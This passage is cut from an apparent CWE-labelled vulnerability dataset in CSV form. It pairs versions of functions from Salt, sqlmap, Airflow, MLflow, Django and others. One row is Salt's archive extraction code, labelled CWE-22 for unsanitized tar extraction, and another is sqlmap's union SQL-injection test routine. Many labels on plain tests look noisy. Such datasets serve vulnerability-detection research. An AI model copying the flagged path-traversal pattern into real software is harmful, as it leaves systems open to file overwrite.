            kwargs['public_key'] = get_public_key(kwargs['public_key']).replace('\n', '')

        # Remove system entries in kwargs
        # Including listen_in and preqreuired because they are not included in STATE_INTERNAL_KEYWORDS
        # for salt 2014.7.2
        for ignore in list(_STATE_INTERNAL_KEYWORDS) + ['listen_in', 'preqrequired']:
            kwargs.pop(ignore, None)

        cert_txt = __salt__['publish.publish'](tgt=ca_server,
                                               fun='x509.sign_remote_certificate',
                                               arg=str(kwargs))[ca_server]
        if path:
            return write_pem(text=cert_txt, path=path,
                    pem_type='CERTIFICATE')
        else:
            return cert_txt

    signing_policy = {}
    if 'signing_policy' in kwargs:
        signing_policy = _get_signing_policy(kwargs['signing_policy'])
        if isinstance(signing_policy, list):
            dict_ = {}
            for item in signing_policy:
                dict_.update(item)
            signing_policy = dict_

    # Overwrite any arguments in kwargs with signing_policy
    kwargs.update(signing_policy)

    for prop, default in six.iteritems(CERT_DEFAULTS):
        if prop not in kwargs:
            kwargs[prop] = default

    cert = M2Crypto.X509.X509()

    # X509 Version 3 has a value of 2 in the field.
    # Version 2 has a value of 1.
    # https://tools.ietf.org/html/rfc5280#section-4.1.2.1
    cert.set_version(kwargs['version'] - 1)

    # Random serial number if not specified
    if 'serial_number' not in kwargs:
        kwargs['serial_number'] = _dec2hex(random.getrandbits(kwargs['serial_bits']))
    cert.set_serial_number(int(kwargs['serial_number'].replace(':', ''), 16))

    # Set validity dates
    # pylint: disable=no-member
    not_before = M2Crypto.m2.x509_get_not_before(cert.x509)
    not_after = M2Crypto.m2.x509_get_not_after(cert.x509)
    M2Crypto.m2.x509_gmtime_adj(not_before, 0)
    M2Crypto.m2.x509_gmtime_adj(not_after, 60*60*24*kwargs['days_valid'])
    # pylint: enable=no-member

    # If neither public_key or csr are included, this cert is self-signed
    if 'public_key' not in kwargs and 'csr' not in kwargs:
        kwargs['public_key'] = kwargs['signing_private_key']

    csrexts = {}
    if 'csr' in kwargs:
        kwargs['public_key'] = kwargs['csr']
        csr = _get_request_obj(kwargs['csr'])
        cert.set_subject(csr.get_subject())
        csrexts = read_csr(kwargs['csr'])['X509v3 Extensions']

    cert.set_pubkey(get_public_key(kwargs['public_key'], asObj=True))

    subject = cert.get_subject()

    for entry, num in six.iteritems(subject.nid):                  # pylint: disable=unused-variable
        if entry in kwargs:
            setattr(subject, entry, kwargs[entry])

    if 'signing_cert' in kwargs:
        signing_cert = _get_certificate_obj(kwargs['signing_cert'])
    else:
        signing_cert = cert
    cert.set_issuer(signing_cert.get_subject())

    for extname, extlongname in six.iteritems(EXT_NAME_MAPPINGS):
        if (extname in kwargs or extlongname in kwargs or extname in csrexts or extlongname in csrexts) is False:
            continue

        # Use explicitly set values first, fall back to CSR values.
        extval = kwargs.get(extname) or kwargs.get(extlongname) or \
            csrexts.get(extname) or csrexts.get(extlongname)

        critical = False
        if extval.startswith('critical '):
            critical = True
            extval = extval[9:]

        if extname == 'subjectKeyIdentifier' and 'hash' in extval:
            extval = extval.replace('hash', _get_pubkey_hash(cert))

        issuer = None
        if extname == 'authorityKeyIdentifier':
            issuer = signing_cert

        if extname == 'subjectAltName':
            extval = extval.replace('IP Address', 'IP')

        ext = _new_extension(name=extname, value=extval, critical=critical, issuer=issuer)
        if not ext.x509_ext:
            log.info('Invalid X509v3 Extension. {0}: {1}'.format(extname, extval))
            continue

        cert.add_ext(ext)

    if 'testrun' in kwargs and kwargs['testrun'] is True:
        cert_props = read_certificate(cert)
        cert_props['Issuer Public Key'] = get_public_key(kwargs['signing_private_key'])
        return cert_props

    if not verify_private_key(kwargs['signing_private_key'], signing_cert):
        raise salt.exceptions.SaltInvocationError('signing_private_key: {0}'
                'does no match signing_cert: {1}'.format(kwargs['signing_private_key'],
                                                         kwargs['signing_cert']))

    cert.sign(_get_private_key_obj(kwargs['signing_private_key']), kwargs['algorithm'])

    if not verify_signature(cert, signing_pub_key=signing_cert):
        raise salt.exceptions.SaltInvocationError('failed to verify certificate signature')

    if 'copypath' in kwargs:
        write_pem(text=cert.as_pem(), path=os.path.join(kwargs['copypath'], kwargs['serial_number']+'.crt'),
                pem_type='CERTIFICATE')

    if path:
        return write_pem(text=cert.as_pem(), path=path,
                pem_type='CERTIFICATE')
    else:
        return cert.as_pem()"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,w3af/core/controllers/core_helpers/fingerprint_404.py,0,"def __init__(self):
        #
        #   Set the opener, I need it to perform some tests and gain
        #   the knowledge about the server's 404 response bodies.
        #
        self._uri_opener = None

        #
        #   Store the 404 responses in a dict which has normalized paths
        #   as keys and 404 data as values.
        #
        #   The most commonly used keys for this dict are stored in memory
        #   while the least commonly used are stored in SQLite
        #
        self._404_responses = CachedDiskDict(max_in_memory=MAX_404_IN_MEMORY,
                                             table_prefix='is_404')",,andresriancho/w3af,d702563aca837491c97a17e1446806a9dcffe00f,"def __init__(self):
        #
        #   Set the opener, I need it to perform some tests and gain
        #   the knowledge about the server's 404 response bodies.
        #
        self._uri_opener = None
        self._worker_pool = None
        
        #
        #   Store the 404 responses in a dict which has normalized paths
        #   as keys and 404 data as values.
        #
        #   The most commonly used keys for this dict are stored in memory
        #   while the least commonly used are stored in SQLite
        #
        self._404_responses = CachedDiskDict(max_in_memory=MAX_404_IN_MEMORY,
                                             table_prefix='is_404')"
,UNKNOWN,UNKNOWN,salt/states/archive.py,1,"def extracted(name,
              source,
              archive_format,
              archive_user=None,
              tar_options=None,
              source_hash=None,
              if_missing=None,
              keep=False):
    '''
    .. versionadded:: 2014.1.0

    State that make sure an archive is extracted in a directory.
    The downloaded archive is erased if successfully extracted.
    The archive is downloaded only if necessary.

    .. note::

        If ``if_missing`` is not defined, this state will check for ``name``
        instead.  If ``name`` exists, it will assume the archive was previously
        extracted successfully and will not extract it again.

    .. code-block:: yaml

        graylog2-server:
          archive.extracted:
            - name: /opt/
            - source: https://github.com/downloads/Graylog2/graylog2-server/graylog2-server-0.9.6p1.tar.lzma
            - source_hash: md5=499ae16dcae71eeb7c3a30c75ea7a1a6
            - tar_options: J
            - archive_format: tar
            - if_missing: /opt/graylog2-server-0.9.6p1/

    .. code-block:: yaml

        graylog2-server:
          archive.extracted:
            - name: /opt/
            - source: https://github.com/downloads/Graylog2/graylog2-server/graylog2-server-0.9.6p1.tar.gz
            - source_hash: md5=499ae16dcae71eeb7c3a30c75ea7a1a6
            - archive_format: tar
            - tar_options: v
            - if_missing: /opt/graylog2-server-0.9.6p1/

    name
        Directory name where to extract the archive

    source
        Archive source, same syntax as file.managed source argument.

    source_hash
        Hash of source file, or file with list of hash-to-file mappings.
        It uses the same syntax as the file.managed source_hash argument.

    archive_format
        tar, zip or rar

    archive_user:
        user to extract files as

    if_missing
        Some archives, such as tar, extract themselves in a subfolder.
        This directive can be used to validate if the archive had been
        previously extracted.

    tar_options
        Required if used with ``archive_format: tar``, otherwise optional.
        It needs to be the tar argument specific to the archive being extracted,
        such as 'J' for LZMA or 'v' to verbosely list files processed.
        Using this option means that the tar executable on the target will
        be used, which is less platform independent.
        Main operators like -x, --extract, --get, -c and -f/--file
        **should not be used** here.
        If ``archive_format`` is ``zip`` or ``rar`` and this option is not set,
        then the Python tarfile module is used. The tarfile module supports gzip
        and bz2 in Python 2.

    keep
        Keep the archive in the minion's cache
    '''
    ret = {'name': name, 'result': None, 'changes': {}, 'comment': ''}
    valid_archives = ('tar', 'rar', 'zip')

    if archive_format not in valid_archives:
        ret['result'] = False
        ret['comment'] = '{0} is not supported, valid formats are: {1}'.format(
            archive_format, ','.join(valid_archives))
        return ret

    if not name.endswith('/'):
        name += '/'

    if if_missing is None:
        if_missing = name
    if (
        __salt__['file.directory_exists'](if_missing)
        or __salt__['file.file_exists'](if_missing)
    ):
        ret['result'] = True
        ret['comment'] = '{0} already exists'.format(if_missing)
        return ret

    log.debug('Input seem valid so far')
    filename = os.path.join(__opts__['cachedir'],
                            'files',
                            __env__,
                            '{0}.{1}'.format(if_missing.replace('/', '_'),
                                             archive_format))
    if not os.path.exists(filename):
        if __opts__['test']:
            ret['result'] = None
            ret['comment'] = \
                'Archive {0} would have been downloaded in cache'.format(source)
            return ret

        log.debug('Archive file {0} is not in cache, download it'.format(source))
        file_result = __salt__['state.single']('file.managed',
                                               filename,
                                               source=source,
                                               source_hash=source_hash,
                                               makedirs=True,
                                               saltenv=__env__)
        log.debug('file.managed: {0}'.format(file_result))
        # get value of first key
        try:
            file_result = file_result[next(six.iterkeys(file_result))]
        except AttributeError:
            pass

        try:
            if not file_result['result']:
                log.debug('failed to download {0}'.format(source))
                return file_result
        except TypeError:
            if not file_result:
                log.debug('failed to download {0}'.format(source))
                return file_result
    else:
        log.debug('Archive file {0} is already in cache'.format(name))

    if __opts__['test']:
        ret['result'] = None
        ret['comment'] = 'Archive {0} would have been extracted in {1}'.format(
            source, name)
        return ret

    __salt__['file.makedirs'](name, user=archive_user)

    if archive_format in ('zip', 'rar'):
        log.debug('Extract {0} in {1}'.format(filename, name))
        files = __salt__['archive.un{0}'.format(archive_format)](filename,
                                                                 name)
    else:
        if tar_options is None:
            with closing(tarfile.open(filename, 'r')) as tar:
                files = tar.getnames()
                tar.extractall(name)
        else:
            log.debug('Untar {0} in {1}'.format(filename, name))

            tar_opts = tar_options.split(' ')

            tar_cmd = ['tar']
            tar_shortopts = 'x'
            tar_longopts = []

            for opt in tar_opts:
                if not opt.startswith('-'):
                    for shortopt in opt:
                        if shortopt not in ['x', 'f']:
                            tar_shortopts = tar_shortopts + shortopt
                else:
                    tar_longopts.append(opt)

            tar_cmd.append(tar_shortopts)
            tar_cmd.extend(tar_longopts)
            tar_cmd.extend(['-f', filename])

            results = __salt__['cmd.run_all'](tar_cmd, cwd=name, python_shell=False)
            if results['retcode'] != 0:
                ret['result'] = False
                ret['changes'] = results
                return ret
            if 'bsdtar' in __salt__['cmd.run']('tar --version', python_shell=False):
                files = results['stderr']
            else:
                files = results['stdout']
            if not files:
                files = 'no tar output so far'

    if archive_user:
        # Recursively set the permissions after extracting as we might not have
        # access to the cachedir
        dir_result = __salt__['state.single']('file.directory',
                                               name,
                                               user=archive_user,
                                               recurse=['user'])
        log.debug('file.directory: {0}'.format(dir_result))

    if len(files) > 0:
        ret['result'] = True
        ret['changes']['directories_created'] = [name]
        if if_missing != name:
            ret['changes']['directories_created'].append(if_missing)
        ret['changes']['extracted_files'] = files
        ret['comment'] = '{0} extracted in {1}'.format(source, name)
        if not keep:
            os.unlink(filename)
    else:
        __salt__['file.remove'](if_missing)
        ret['result'] = False
        ret['comment'] = 'Can\'t extract content of {0}'.format(source)
    return ret",CWE-22,saltstack/salt,a1043ab87aa045da7ed6f03d7ec1eb4b4407ea61,"def extracted(name,
              source,
              archive_format,
              archive_user=None,
              tar_options=None,
              source_hash=None,
              if_missing=None,
              keep=False):
    '''
    .. versionadded:: 2014.1.0

    State that make sure an archive is extracted in a directory.
    The downloaded archive is erased if successfully extracted.
    The archive is downloaded only if necessary.

    .. note::

        If ``if_missing`` is not defined, this state will check for ``name``
        instead.  If ``name`` exists, it will assume the archive was previously
        extracted successfully and will not extract it again.

    .. code-block:: yaml

        graylog2-server:
          archive.extracted:
            - name: /opt/
            - source: https://github.com/downloads/Graylog2/graylog2-server/graylog2-server-0.9.6p1.tar.lzma
            - source_hash: md5=499ae16dcae71eeb7c3a30c75ea7a1a6
            - tar_options: J
            - archive_format: tar
            - if_missing: /opt/graylog2-server-0.9.6p1/

    .. code-block:: yaml

        graylog2-server:
          archive.extracted:
            - name: /opt/
            - source: https://github.com/downloads/Graylog2/graylog2-server/graylog2-server-0.9.6p1.tar.gz
            - source_hash: md5=499ae16dcae71eeb7c3a30c75ea7a1a6
            - archive_format: tar
            - tar_options: v
            - if_missing: /opt/graylog2-server-0.9.6p1/

    name
        Directory name where to extract the archive

    source
        Archive source, same syntax as file.managed source argument.

    source_hash
        Hash of source file, or file with list of hash-to-file mappings.
        It uses the same syntax as the file.managed source_hash argument.

    archive_format
        tar, zip or rar

    archive_user:
        user to extract files as

    if_missing
        Some archives, such as tar, extract themselves in a subfolder.
        This directive can be used to validate if the archive had been
        previously extracted.

    tar_options
        Required if used with ``archive_format: tar``, otherwise optional.
        It needs to be the tar argument specific to the archive being extracted,
        such as 'J' for LZMA or 'v' to verbosely list files processed.
        Using this option means that the tar executable on the target will
        be used, which is less platform independent.
        Main operators like -x, --extract, --get, -c and -f/--file
        **should not be used** here.
        If ``archive_format`` is ``zip`` or ``rar`` and this option is not set,
        then the Python tarfile module is used. The tarfile module supports gzip
        and bz2 in Python 2.

    keep
        Keep the archive in the minion's cache
    '''
    ret = {'name': name, 'result': None, 'changes': {}, 'comment': ''}
    valid_archives = ('tar', 'rar', 'zip')

    if archive_format not in valid_archives:
        ret['result'] = False
        ret['comment'] = '{0} is not supported, valid formats are: {1}'.format(
            archive_format, ','.join(valid_archives))
        return ret

    if not name.endswith('/'):
        name += '/'

    if if_missing is None:
        if_missing = name
    if (
        __salt__['file.directory_exists'](if_missing)
        or __salt__['file.file_exists'](if_missing)
    ):
        ret['result'] = True
        ret['comment'] = '{0} already exists'.format(if_missing)
        return ret

    log.debug('Input seem valid so far')
    filename = os.path.join(__opts__['cachedir'],
                            'files',
                            __env__,
                            '{0}.{1}'.format(if_missing.replace('/', '_'),
                                             archive_format))
    if not os.path.exists(filename):
        if __opts__['test']:
            ret['result'] = None
            ret['comment'] = \
                'Archive {0} would have been downloaded in cache'.format(source)
            return ret

        log.debug('Archive file {0} is not in cache, download it'.format(source))
        file_result = __salt__['state.single']('file.managed',
                                               filename,
                                               source=source,
                                               source_hash=source_hash,
                                               makedirs=True,
                                               saltenv=__env__)
        log.debug('file.managed: {0}'.format(file_result))
        # get value of first key
        try:
            file_result = file_result[next(six.iterkeys(file_result))]
        except AttributeError:
            pass

        try:
            if not file_result['result']:
                log.debug('failed to download {0}'.format(source))
                return file_result
        except TypeError:
            if not file_result:
                log.debug('failed to download {0}'.format(source))
                return file_result
    else:
        log.debug('Archive file {0} is already in cache'.format(name))

    if __opts__['test']:
        ret['result'] = None
        ret['comment'] = 'Archive {0} would have been extracted in {1}'.format(
            source, name)
        return ret

    __salt__['file.makedirs'](name, user=archive_user)

    if archive_format in ('zip', 'rar'):
        log.debug('Extract {0} in {1}'.format(filename, name))
        files = __salt__['archive.un{0}'.format(archive_format)](filename,
                                                                 name)
    else:
        if tar_options is None:
            with closing(tarfile.open(filename, 'r')) as tar:
                files = tar.getnames()
                tar.extractall(name)
        else:
            log.debug('Untar {0} in {1}'.format(filename, name))

            tar_opts = tar_options.split(' ')

            tar_cmd = ['tar']
            tar_shortopts = 'x'
            tar_longopts = []

            for opt in tar_opts:
                if not opt.startswith('-'):
                    for shortopt in opt:
                        if shortopt not in ['x', 'f']:
                            tar_shortopts = tar_shortopts + shortopt
                else:
                    tar_longopts.append(opt)

            tar_cmd.append(tar_shortopts)
            tar_cmd.extend(tar_longopts)
            tar_cmd.extend(['-f', filename])

            results = __salt__['cmd.run_all'](tar_cmd, cwd=name, python_shell=False)
            if results['retcode'] != 0:
                ret['result'] = False
                ret['changes'] = results
                return ret
            if __salt__['cmd.retcode']('tar --version | grep bsdtar', python_shell=True) == 0:
                files = results['stderr']
            else:
                files = results['stdout']
            if not files:
                files = 'no tar output so far'

    if archive_user:
        # Recursively set the permissions after extracting as we might not have
        # access to the cachedir
        dir_result = __salt__['state.single']('file.directory',
                                               name,
                                               user=archive_user,
                                               recurse=['user'])
        log.debug('file.directory: {0}'.format(dir_result))

    if len(files) > 0:
        ret['result'] = True
        ret['changes']['directories_created'] = [name]
        if if_missing != name:
            ret['changes']['directories_created'].append(if_missing)
        ret['changes']['extracted_files'] = files
        ret['comment'] = '{0} extracted in {1}'.format(source, name)
        if not keep:
            os.unlink(filename)
    else:
        __salt__['file.remove'](if_missing)
        ret['result'] = False
        ret['comment'] = 'Can\'t extract content of {0}'.format(source)
    return ret"
,UNKNOWN,UNKNOWN,tests/store/artifact/test_ftp_artifact_repo.py,1,"def test_download_artifacts(ftp_mock):
    artifact_root_path = ""/some/path""
    repo = FTPArtifactRepository(""ftp://test_ftp"" + artifact_root_path)

    repo.get_ftp_client = MagicMock()
    call_mock = MagicMock(return_value=ftp_mock)
    repo.get_ftp_client.return_value = MagicMock(__enter__=call_mock)

    # mocked file structure
    #  |- model
    #     |- model.pb
    #     |- empty_dir
    #     |- variables
    #        |- test.txt
    dir_path = posixpath.join(artifact_root_path, 'model')

    # list artifacts at sub directory level
    model_file_path_sub = 'model.pb'
    model_file_path_full = posixpath.join(dir_path, model_file_path_sub)
    empty_dir_name = ""empty_dir""
    empty_dir_path = posixpath.join(dir_path, empty_dir_name)
    subdir_name = 'variables'
    subdir_path_full = posixpath.join(dir_path, subdir_name)
    subfile_name = 'test.txt'
    subfile_path_full = posixpath.join(artifact_root_path, subdir_path_full, subfile_name)

    is_dir_mapping = {
        dir_path: True,
        empty_dir_path: True,
        model_file_path_full: False,
        subdir_path_full: True,
        subfile_path_full: False,
    }

    is_dir_call_args = [
        dir_path, model_file_path_full, empty_dir_path, subdir_path_full,
        model_file_path_full,
        subdir_path_full, subfile_path_full,
        subfile_path_full
    ]

    def cwd_side_effect(call_arg):
        if not is_dir_mapping[call_arg]:
            raise ftplib.error_perm
    ftp_mock.cwd = MagicMock(side_effect=cwd_side_effect)

    def nlst_side_effect(call_arg):
        if call_arg == dir_path:
            return [model_file_path_sub, subdir_name, empty_dir_name]
        elif call_arg == subdir_path_full:
            return [subfile_name]
        elif call_arg == empty_dir_path:
            return []
        else:
            raise Exception(""should never call nlst for non-directories {}"".format(call_arg))

    ftp_mock.nlst = MagicMock(side_effect=nlst_side_effect)
    repo.download_artifacts(""model"")

    cwd_call_args = [arg_entry[0][0] for arg_entry in ftp_mock.cwd.call_args_list]

    assert set(cwd_call_args) == set(is_dir_call_args)
    assert ftp_mock.nlst.call_count == 3
    assert ftp_mock.retrbinary.call_args_list[0][0][0] == 'RETR ' + model_file_path_full
    assert ftp_mock.retrbinary.call_args_list[1][0][0] == 'RETR ' + subfile_path_full",CWE-703,mlflow/mlflow,39d47fa6351c7a39a2af3904819d3edcc394aff3,"def test_download_artifacts(ftp_mock):
    artifact_root_path = ""/some/path""
    repo = FTPArtifactRepository(""ftp://test_ftp"" + artifact_root_path)

    repo.get_ftp_client = MagicMock()
    call_mock = MagicMock(return_value=ftp_mock)
    repo.get_ftp_client.return_value = MagicMock(__enter__=call_mock)

    # mocked file structure
    #  |- model
    #     |- model.pb
    #     |- variables
    #        |- test.txt
    dir_path = posixpath.join(artifact_root_path, 'model')

    # list artifacts at sub directory level
    model_file_path_sub = 'model.pb'
    model_file_path_full = posixpath.join(dir_path, model_file_path_sub)
    subdir_name = 'variables'
    subdir_path_full = posixpath.join(dir_path, subdir_name)
    subfile_name = 'test.txt'
    subfile_path_full = posixpath.join(artifact_root_path, subdir_path_full, subfile_name)

    is_dir_mapping = {
        dir_path: True,
        model_file_path_full: False,
        subdir_path_full: True,
        subfile_path_full: False,
    }

    is_dir_call_args = [
        dir_path, model_file_path_full, subdir_path_full,
        model_file_path_full,
        subdir_path_full, subfile_path_full,
        subfile_path_full
    ]

    cwd_side_effect = [
        None if is_dir_mapping[call_arg] else ftplib.error_perm for call_arg in is_dir_call_args
    ]
    ftp_mock.cwd = MagicMock(side_effect=cwd_side_effect)
    ftp_mock.nlst = MagicMock(side_effect=[[model_file_path_sub, subdir_name], [subfile_name]])

    repo.download_artifacts(""model"")

    cwd_call_args = [arg_entry[0][0] for arg_entry in ftp_mock.cwd.call_args_list]
    assert cwd_call_args == is_dir_call_args
    assert ftp_mock.nlst.call_count == 2
    assert ftp_mock.retrbinary.call_args_list[0][0][0] == 'RETR ' + model_file_path_full
    assert ftp_mock.retrbinary.call_args_list[1][0][0] == 'RETR ' + subfile_path_full"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,lib/techniques/union/test.py,0,"def unionTest(comment, place, parameter, value, prefix, suffix):
    """"""
    This method tests if the target URL is affected by an union
    SQL injection vulnerability. The test is done up to 3*50 times
    """"""

    if conf.direct:
        return

    negativeLogic = kb.negativeLogic
    kb.technique = PAYLOAD.TECHNIQUE.UNION

    try:
        if negativeLogic:
            pushValue(kb.negativeLogic)
            pushValue(conf.string)
            pushValue(conf.code)

            kb.negativeLogic = False
            conf.string = conf.code = None

        validPayload, vector = _unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix)
    finally:
        if negativeLogic:
            conf.code = popValue()
            conf.string = popValue()
            kb.negativeLogic = popValue()

    if validPayload:
        validPayload = agent.removePayloadDelimiters(validPayload)

    return validPayload, vector",,sqlmapproject/sqlmap,daafe9b74a31f80012a4dfc8cca7003696be11df,"def unionTest(comment, place, parameter, value, prefix, suffix):
    """"""
    This method tests if the target URL is affected by an union
    SQL injection vulnerability. The test is done up to 3*50 times
    """"""

    if conf.direct:
        return

    kb.technique = PAYLOAD.TECHNIQUE.UNION
    validPayload, vector = _unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix)

    if validPayload:
        validPayload = agent.removePayloadDelimiters(validPayload)

    return validPayload, vector"
,UNKNOWN,UNKNOWN,tests/auth_tests/test_models.py,1,"def test_create_superuser_raises_error_on_false_is_staff(self):
        with self.assertRaisesMessage(ValueError, 'Superuser must have is_staff=True.'):
            User.objects.create_superuser(
                username='test', email='test@test.com',
                password='test', is_staff=False,
            )",CWE-259,django/django,7588d7e439a5deb7f534bdeb2abe407b937e3c1a,"def test_create_superuser_raises_error_on_false_is_staff(self):
        with self.assertRaisesMessage(ValueError, 'Superuser must have is_staff=True.'):
            User.objects.create_superuser(
                username='test', email='test@test.com',
                password='test', is_staff=False,
            )"
,UNKNOWN,UNKNOWN,chart/tests/test_flower.py,1,"def test_defaults(self):
        docs = render_chart(
            values={
                ""networkPolicies"": {""enabled"": True},
                ""flower"": {
                    ""networkPolicy"": {
                        ""ingress"": {
                            ""from"": [{""namespaceSelector"": {""matchLabels"": {""release"": ""myrelease""}}}]
                        }
                    }
                },
            },
            show_only=[""templates/flower/flower-networkpolicy.yaml""],
        )

        assert 1 == len(docs)
        assert ""NetworkPolicy"" == docs[0][""kind""]
        assert [{""namespaceSelector"": {""matchLabels"": {""release"": ""myrelease""}}}] == jmespath.search(
            ""spec.ingress[0].from"", docs[0]
        )
        assert [{""port"": 5555}] == jmespath.search(""spec.ingress[0].ports"", docs[0])",CWE-703,apache/airflow,939724b12575a4566bb5a34f8453ccf3ff95c599,"def test_defaults(self):
        docs = render_chart(
            values={
                ""networkPolicies"": {""enabled"": True},
                ""flower"": {
                    ""networkPolicy"": {
                        ""ingress"": {
                            ""from"": [{""namespaceSelector"": {""matchLabels"": {""release"": ""myrelease""}}}]
                        }
                    }
                },
            },
            show_only=[""templates/flower/flower-networkpolicy.yaml""],
        )

        assert 1 == len(docs)
        assert ""NetworkPolicy"" == docs[0][""kind""]
        assert [{""namespaceSelector"": {""matchLabels"": {""release"": ""myrelease""}}}] == jmespath.search(
            ""spec.ingress[0].from"", docs[0]
        )
        assert [{""port"": ""flower-ui""}] == jmespath.search(""spec.ingress[0].ports"", docs[0])"
,UNKNOWN,UNKNOWN,tests/test_requests.py,1,"def test_HTTP_200_OK_PUT(self, httpbin):
        r = requests.put(httpbin('put'))
        assert r.status_code == 200",CWE-703,psf/requests,7c4821231fcd8af8ef1cd835713933ef3ae58032,"def test_HTTP_200_OK_PUT(self, httpbin):
        r = requests.put(httpbin('put'))
        assert r.status_code == 200"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,airflow/models.py,0,"def concurrency_reached(self, session=None):
        """"""
        Returns a boolean as to whether the concurrency limit for this DAG
        has been reached
        """"""
        TI = TaskInstance
        qry = session.query(func.count(TI.task_id)).filter(
            TI.dag_id == self.dag_id,
            TI.task_id.in_(self.task_ids),
            TI.state == State.RUNNING,
        )
        return qry.scalar() >= self.concurrency",CWE-Unknown,apache/airflow,5e9f7297768e707556edbbb106455b50c3aabd78,"def concurrency_reached(self, session=None):
        """"""
        Returns a boolean as to whether the concurrency limit for this DAG
        has been reached
        """"""
        TI = TaskInstance
        qry = session.query(func.count(TI)).filter(
            TI.dag_id == self.dag_id,
            TI.task_id.in_(self.task_ids),
            TI.state == State.RUNNING,
        )
        return qry.scalar() >= self.concurrency"
functions_for_bandit_with_cwe.csv,UNKNOWN,UNKNOWN,bandit/config.py,0,"def get_option(self, option_string):
        '''
        Returns the option from the config specified by the option_string.
        '.' can be used to denote levels, for example to retrieve the options
        from the 'a' profile you can use 'profiles.a'
        :param option_string: The string specifying the option to retrieve
        :return: The object specified by the option_string, or None if it can't
        be found.
        '''
        option_levels = option_string.split('.')
        cur_item = self._config
        for level in option_levels:
            if level in cur_item:
                try:
                    cur_item = cur_item[level]
                except Exception:
                    self._logger.error(
                        ""error while accessing config property: %s"" %
                        option_string
                    )
                    return None
            else:
                return None

        return cur_item",UNKNOWN,PyCQA/bandit,bbcc7207634f64caf6d9ea577086cc27986a8602,"def get_option(self, option_string):
        '''
        Returns the option from the config specified by the option_string.
        '.' can be used to denote levels, for example to retrieve the options
        from the 'a' profile you can use 'profiles.a'
        :param option_string: The string specifying the option to retrieve
        :return: The object specified by the option_string, or None if it can't
        be found.
        '''
        option_levels = option_string.split('.')
        cur_item = self._config
        for level in option_levels:
            if level in cur_item:
                try:
                    cur_item = cur_item[level]
                except Exception:
                    self._logger.error(""error while accessing config property: %s"" %
                                 option_string)
                    return None
            else:
                return None

        return cur_item"
,UNKNOWN,UNKNOWN,tests/core/test_configuration.py,1,"def test_auth_backends_adds_session(self):
        test_conf = AirflowConfigParser(default_config='')
        # Guarantee we have deprecated settings, so we test the deprecation
        # lookup even if we remove this explicit fallback
        test_conf.deprecated_values = {
            'api': {
                'auth_backends': (
                    re.compile(r'^airflow\.api\.auth\.backend\.deny_all$|^$'),
                    'airflow.api.auth.backend.session',
                    '3.0',
                ),
            },
        }
        test_conf.read_dict({'api': {'auth_backends': 'airflow.api.auth.backend.basic_auth'}})

        with pytest.warns(FutureWarning):
            test_conf.validate()
            assert (
                test_conf.get('api', 'auth_backends')
                == 'airflow.api.auth.backend.basic_auth,airflow.api.auth.backend.session'
            )",CWE-703,apache/airflow,a7bccaacb9a35ed6dcd4c1cadda4b8f294332722,"def test_auth_backends_adds_session(self):
        test_conf = AirflowConfigParser(default_config='')
        # Guarantee we have deprecated settings, so we test the deprecation
        # lookup even if we remove this explicit fallback
        test_conf.deprecated_values = {
            'api': {
                'auth_backends': (
                    re.compile(r'^airflow\.api\.auth\.backend\.deny_all$|^$'),
                    'airflow.api.auth.backend.session',
                    '3.0',
                ),
            },
        }
        test_conf.read_dict({'api': {'auth_backends': 'airflow.api.auth.backend.basic_auth'}})

        with pytest.warns(FutureWarning):
            test_conf.validate()
            assert (
                test_conf.get('api', 'auth_backends')
                == 'airflow.api.auth.backend.basic_auth\nairflow.api.auth.backend.session'
            )"
,UNKNOWN,UNKNOWN,tests/entities/test_assessment.py,1,"def test_assessment_creation():
    default_params = {
        ""trace_id"": ""trace_id"",
        ""name"": ""relevance"",
        ""source"": AssessmentSource(source_type=""HUMAN"", source_id=""user_1""),
        ""create_time_ms"": 123456789,
        ""last_update_time_ms"": 123456789,
        ""expectation"": None,
        ""feedback"": Feedback(0.9),
        ""rationale"": ""Rationale text"",
        ""metadata"": {""key1"": ""value1""},
        ""error"": None,
        ""span_id"": ""span_id"",
        ""_assessment_id"": ""assessment_id"",
    }

    assessment = Assessment(**default_params)
    for key, value in default_params.items():
        assert getattr(assessment, key) == value

    assessment_with_error = Assessment(
        **{
            **default_params,
            ""feedback"": None,
            ""error"": AssessmentError(error_code=""E001"", error_message=""An error occurred.""),
        }
    )
    assert assessment_with_error.error.error_code == ""E001""
    assert assessment_with_error.error.error_message == ""An error occurred.""",CWE-703,mlflow/mlflow,8a293511dc1cc116c9fcb8c264702e1a23381fc0,"def test_assessment_creation():
    default_params = {
        ""trace_id"": ""trace_id"",
        ""name"": ""relevance"",
        ""source"": AssessmentSource(source_type=""HUMAN"", source_id=""user_1""),
        ""create_time_ms"": 123456789,
        ""last_update_time_ms"": 123456789,
        ""value"": Feedback(0.9),
        ""rationale"": ""Rationale text"",
        ""metadata"": {""key1"": ""value1""},
        ""error"": None,
        ""span_id"": ""span_id"",
        ""_assessment_id"": ""assessment_id"",
    }

    assessment = Assessment(**default_params)
    for key, value in default_params.items():
        assert getattr(assessment, key) == value

    assessment_with_error = Assessment(
        **{
            **default_params,
            ""value"": None,
            ""error"": AssessmentError(error_code=""E001"", error_message=""An error occurred.""),
        }
    )
    assert assessment_with_error.error.error_code == ""E001""
    assert assessment_with_error.error.error_message == ""An error occurred."""
,UNKNOWN,UNKNOWN,providers/tests/cncf/kubernetes/models/test_secret.py,1,"def test_only_mount_sub_secret(self, mock_uuid):
        mock_uuid.return_value = ""0""
        items = [k8s.V1KeyToPath(key=""my-username"", path=""/extra/path"")]
        secret = Secret(""volume"", ""/etc/foo"", ""secret_b"", items=items)
        assert secret.to_volume_secret() == (
            k8s.V1Volume(
                name=""secretvol0"", secret=k8s.V1SecretVolumeSource(secret_name=""secret_b"", items=items)
            ),
            k8s.V1VolumeMount(mount_path=""/etc/foo"", name=""secretvol0"", read_only=True),
        )",CWE-703,apache/airflow,6d85a0466d91d501af87c8904b902ea92cee466d,"def test_only_mount_sub_secret(self, mock_uuid):
        mock_uuid.return_value = ""0""
        items = [k8s.V1KeyToPath(key=""my-username"", path=""/extra/path"")]
        secret = Secret(""volume"", ""/etc/foo"", ""secret_b"", items=items)
        assert secret.to_volume_secret() == (
            k8s.V1Volume(
                name=""secretvol0"", secret=k8s.V1SecretVolumeSource(secret_name=""secret_b"", items=items)
            ),
